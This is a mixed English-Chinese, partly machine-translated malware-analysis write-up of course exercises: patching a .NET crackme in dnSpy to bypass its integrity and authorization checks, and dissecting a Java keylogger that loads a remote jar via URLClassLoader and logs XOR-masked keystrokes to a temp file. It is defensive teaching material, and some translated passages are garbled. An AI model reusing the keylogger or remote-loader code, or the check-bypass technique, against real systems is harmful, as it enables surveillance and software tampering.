.NET和Java的恶意软件分析

This post serves as a write-up of the practical exercises offered in Pluralsight's Analyzing Malware for .NEŤ and Java Binaries course.

本课程涵盖用于分析为.NET和JVM平台开发的恶意软件的工具和技术。 这些工具包括

  • dnSpy - .NET disassembler, decompiler and debugger. This utility can accept PE (Portable Executable) files as input and uncover the underlying Common Intermediate Language, as well higher level (C#, Visual Basic) code. dnSpy can also function as a debugger.
  • Bytecode Viewer - a reverse engineering suite (disassembler, decompiler, debugger) for the JVM platform.

First steps

本课程包括的第一个练习是为.NET平台编写的非恶意程序,其中包含“标志”(电子邮件地址)。 拆卸和反编译软件dnSpy就像打开便携式可执行文件一样简单(。可执行程序)。

Project structure

这样做以视觉上与Visual Studio非常相似的方式揭示了程序集的结构。 如我们所见,我们的程序集包含三个项目

  • PS_DotNet_Lab1PS_DotNet_Lab1.App_CodePS_DotNet_Lab1.Properties

每个包含多个类。 作为首要任务,我们应该找到程序的入口。 我检查程序上课并找到主要()功能。

namespace PS_DotNet_Lab1
{
    // Token: 0x02000004 RID: 4
    internal static class Program
    {
        // Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C
        [STAThread]
        private static void Main()
        {
            bool flag = Verification.App_Startup();
            if (flag)
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new Client());
            }
            else
            {
                MessageBox.Show("Try Again :)");
            }
        }
    }
}

只需运行该程序,就会显示一个带有“ Try Again :)”消息的消息框,该消息框指示旗变量最初是假。 为了了解此值背后的逻辑,App_Startup()功能(位于验证类)需要进行检查。

namespace PS_DotNet_Lab1
{
    // Token: 0x02000002 RID: 2
    public static class Verification
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        private static string create_md5(string filename)
        {
            string result;
            using (MD5 md = MD5.Create())
            {
                using (FileStream fileStream = File.OpenRead(filename))
                {
                    result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "").ToLowerInvariant();
                }
            }
            return result;
        }

        // Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4
        public static bool App_Startup()
        {
            bool result;
            try
            {
                Settings settings = new Settings();
                string check = settings.check1;
                string b = Verification.create_md5("PS_DotNet_Lab1.exe");
                bool flag = check != b;
                if (flag)
                {
                    result = false;
                }
                else
                {
                    result = true;
                }
            }
            catch
            {
                result = false;
            }
            return result;
        }
    }
}

看着App_Startup()和create_md5()这些方法给人的印象是该程序正在通过MD5哈希检查其自身的完整性。 的Settings.check1财产有DefaultSettingValue为特定MD5哈希设置的属性。

Now let's start modifying the code in order to try and bypass these checks. Right clicking anywhere within the method gives us the option to edit it. I simply modify the App_Startup() method to always return true instead of the result variable. After clicking Save All, I create a new version of our executable, with our modified code compiled in it. By running this new executable, I confirm that the hashing checks have been bypassed.
New window
Clicking the Authenticate button introduces an attempt counter. Before I run out of valid attempts (after which the program never launches again), I look at the Client class, which contains the main callbacks of the Windows Forms application. I specifically pay attention to the button1_Click() method.

// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0
        private void button1_Click(object sender, EventArgs e)
        {
            bool flag = !Authentication.isAuthorized();
            if (flag)
            {
                this.txtOutputLog.AppendText("Invalid Attempt - You have " + this.maxAttempts + " attempts left\n");
                bool flag2 = this.maxAttempts == 0U;
                if (flag2)
                {
                    RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("PS_DotNet_Lab1");
                    registryKey.SetValue("Challenge1", "1");
                    registryKey.Close();
                    Application.Exit();
                }
                this.maxAttempts -= 1U;
            }
            else
            {
                this.txtOutputLog.Clear();
                this.lblMessage.Text = "You got it! " + Authentication.returnEmailAddress();
                RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("PS_DotNet_Lab1");
                bool flag3 = registryKey2 != null;
                if (flag3)
                {
                    object value = registryKey2.GetValue("Challenge1");
                    bool flag4 = value != null;
                    if (flag4)
                    {
                        registryKey2.DeleteSubKey("Challenge1");
                    }
                    registryKey2.Close();
                }
            }
        }

We seem close to our objective. The software seems to check for authorization through the isAuthorized() method, and if so, display the email "flag". I proceed by modifying the method so that the flag variable is always false and does not depend on authorization.
Final result

而已。 这显示了我们想要的标志。

注意:恶意软件分析的目标之一是发现妥协指标(IOC)-指示给定机器已被感染的线索。 如反编译代码所示,此软件修改Windows注册表并创建一个子项。PS_DotNet_Lab1。 注册表编辑器中该密钥的存在(注册表编辑器)可以用作IOC。
An alternative way

在对反编译源进行第一次检查时,我发现了实际生成电子邮件地址的方法。 但是,标志并不是简单地保存为字符串,反分析技术叫混淆被使用了。 有问题的方法位于授权书 class and is叫returnEmailAddress()。 这是全班同学的摘录:

public static string returnEmailAddress()
        {
            string text = "";
            foreach (char c in Authentication.addy)
            {
                text += c.ToString();
            }
            return text;
        }

        // Token: 0x04000009 RID: 9
        private static byte[] addy = new byte[]
        {
            53,
            102,
            54,
            104,
            56,
            57,
            100,
            115,
            117,
            64,
            48,
            120,
            101,
            118,
            105,
            108,
            99,
            48,
            100,
            101,
            46,
            99,
            111,
            109,
            46,
            99,
            111,
            109
        };

因此,检索我们的电子邮件地址的另一种方法是复制此代码,在我们自己的环境中运行它并检索结果字符串。 但是,我选择尝试打开完整的Windows Forms应用程序以增加兴趣。

Second exercise

The next practical assignment offered in the course is a Java application, that does not contain any flags. The sample that needs to be analyzed comes as a .jar package, which can be opened from within Bytecode Viewer.
Project Structure

为了剖析程序的逻辑,我们需要找到它的入口点-主要()功能。 可以在资源加载器类,其中还包含许多看似随机的字符串对象,其中大多数可能是不必要的(不必要的代码是另一个反分析技术)。

public static void main(String[] args) throws ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException, SecurityException,
NoSuchMethodException, IOException {
      URL[] classLoaderUrls = new URL[]{new URL(g.c + g.cc + gg.m + dgressdf.xx + gg.mm + dgressdf.x)};
      ClassLoader jceClassLoader = new URLClassLoader(classLoaderUrls, (ClassLoader)null);
      Thread.currentThread().setContextClassLoader(jceClassLoader);
      Class c = jceClassLoader.loadClass("com.jrockit.drive.introspection2");
      Method main = c.getMethod("main", args.getClass());
      main.invoke((Object)null, args);
   }

可以看出,该方法仅用于检索实数主要()的方法introspection2.jar包。 我使用存档软件来检索软件包并将其提供给Bytecode Viewer。

Note: Another internal .jar package was present - jnativehook.jar. Upon looking at its classes, it seems to belong to the JNativeHook library that the malware uses to listen for keypresses.

的内省2类似乎包含主要的恶意逻辑,这是切入点主要()方法包含以下行

GlobalScreen.addNativeKeyListener(new introspection2());

这促使我们注意该类的构造函数:

public introspection2() throws IOException {
    File file = new File(System.getProperty("java.io.tmpdir") + "JavaDeploy.log");
    if (!file.exists()) {
        file.createNewFile();
    }

    this.fw = new FileWriter(file.getAbsoluteFile(), true);
    this.bw = new BufferedWriter(this.fw);
}

很明显,恶意软件会寻找临时目录,并创建一个名为JavaDeploy.log在它里面。 那是我们的妥协指标-通过在可疑机器上搜索此文件,我们可以确认它们是否已被感染。

为了与JNativeHook,该类实现NativeKeyListener接口。 更具体地说,我注意nativeKeyPressed()方法:

public void nativeKeyPressed(NativeKeyEvent e) {
  try {
     this.bw.write(e.getKeyCode() ^ 151);
     this.bw.flush();
  } catch (IOException var4) {
  }

  if (e.getKeyCode() == 1) {
     try {
        GlobalScreen.unregisterNativeHook();
     } catch (NativeHookException var3) {
        var3.printStackTrace();
     }
  }
}

现在,我们可以看到该特定恶意软件的确切机制(更具体地说,键盘记录器)利用。 为了混淆其输出,它会使用特定数字对注册的字符进行DOE(151)。

from: https://dev.to//n_babajanyan/malware-analysis-with-net-and-java-m51

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值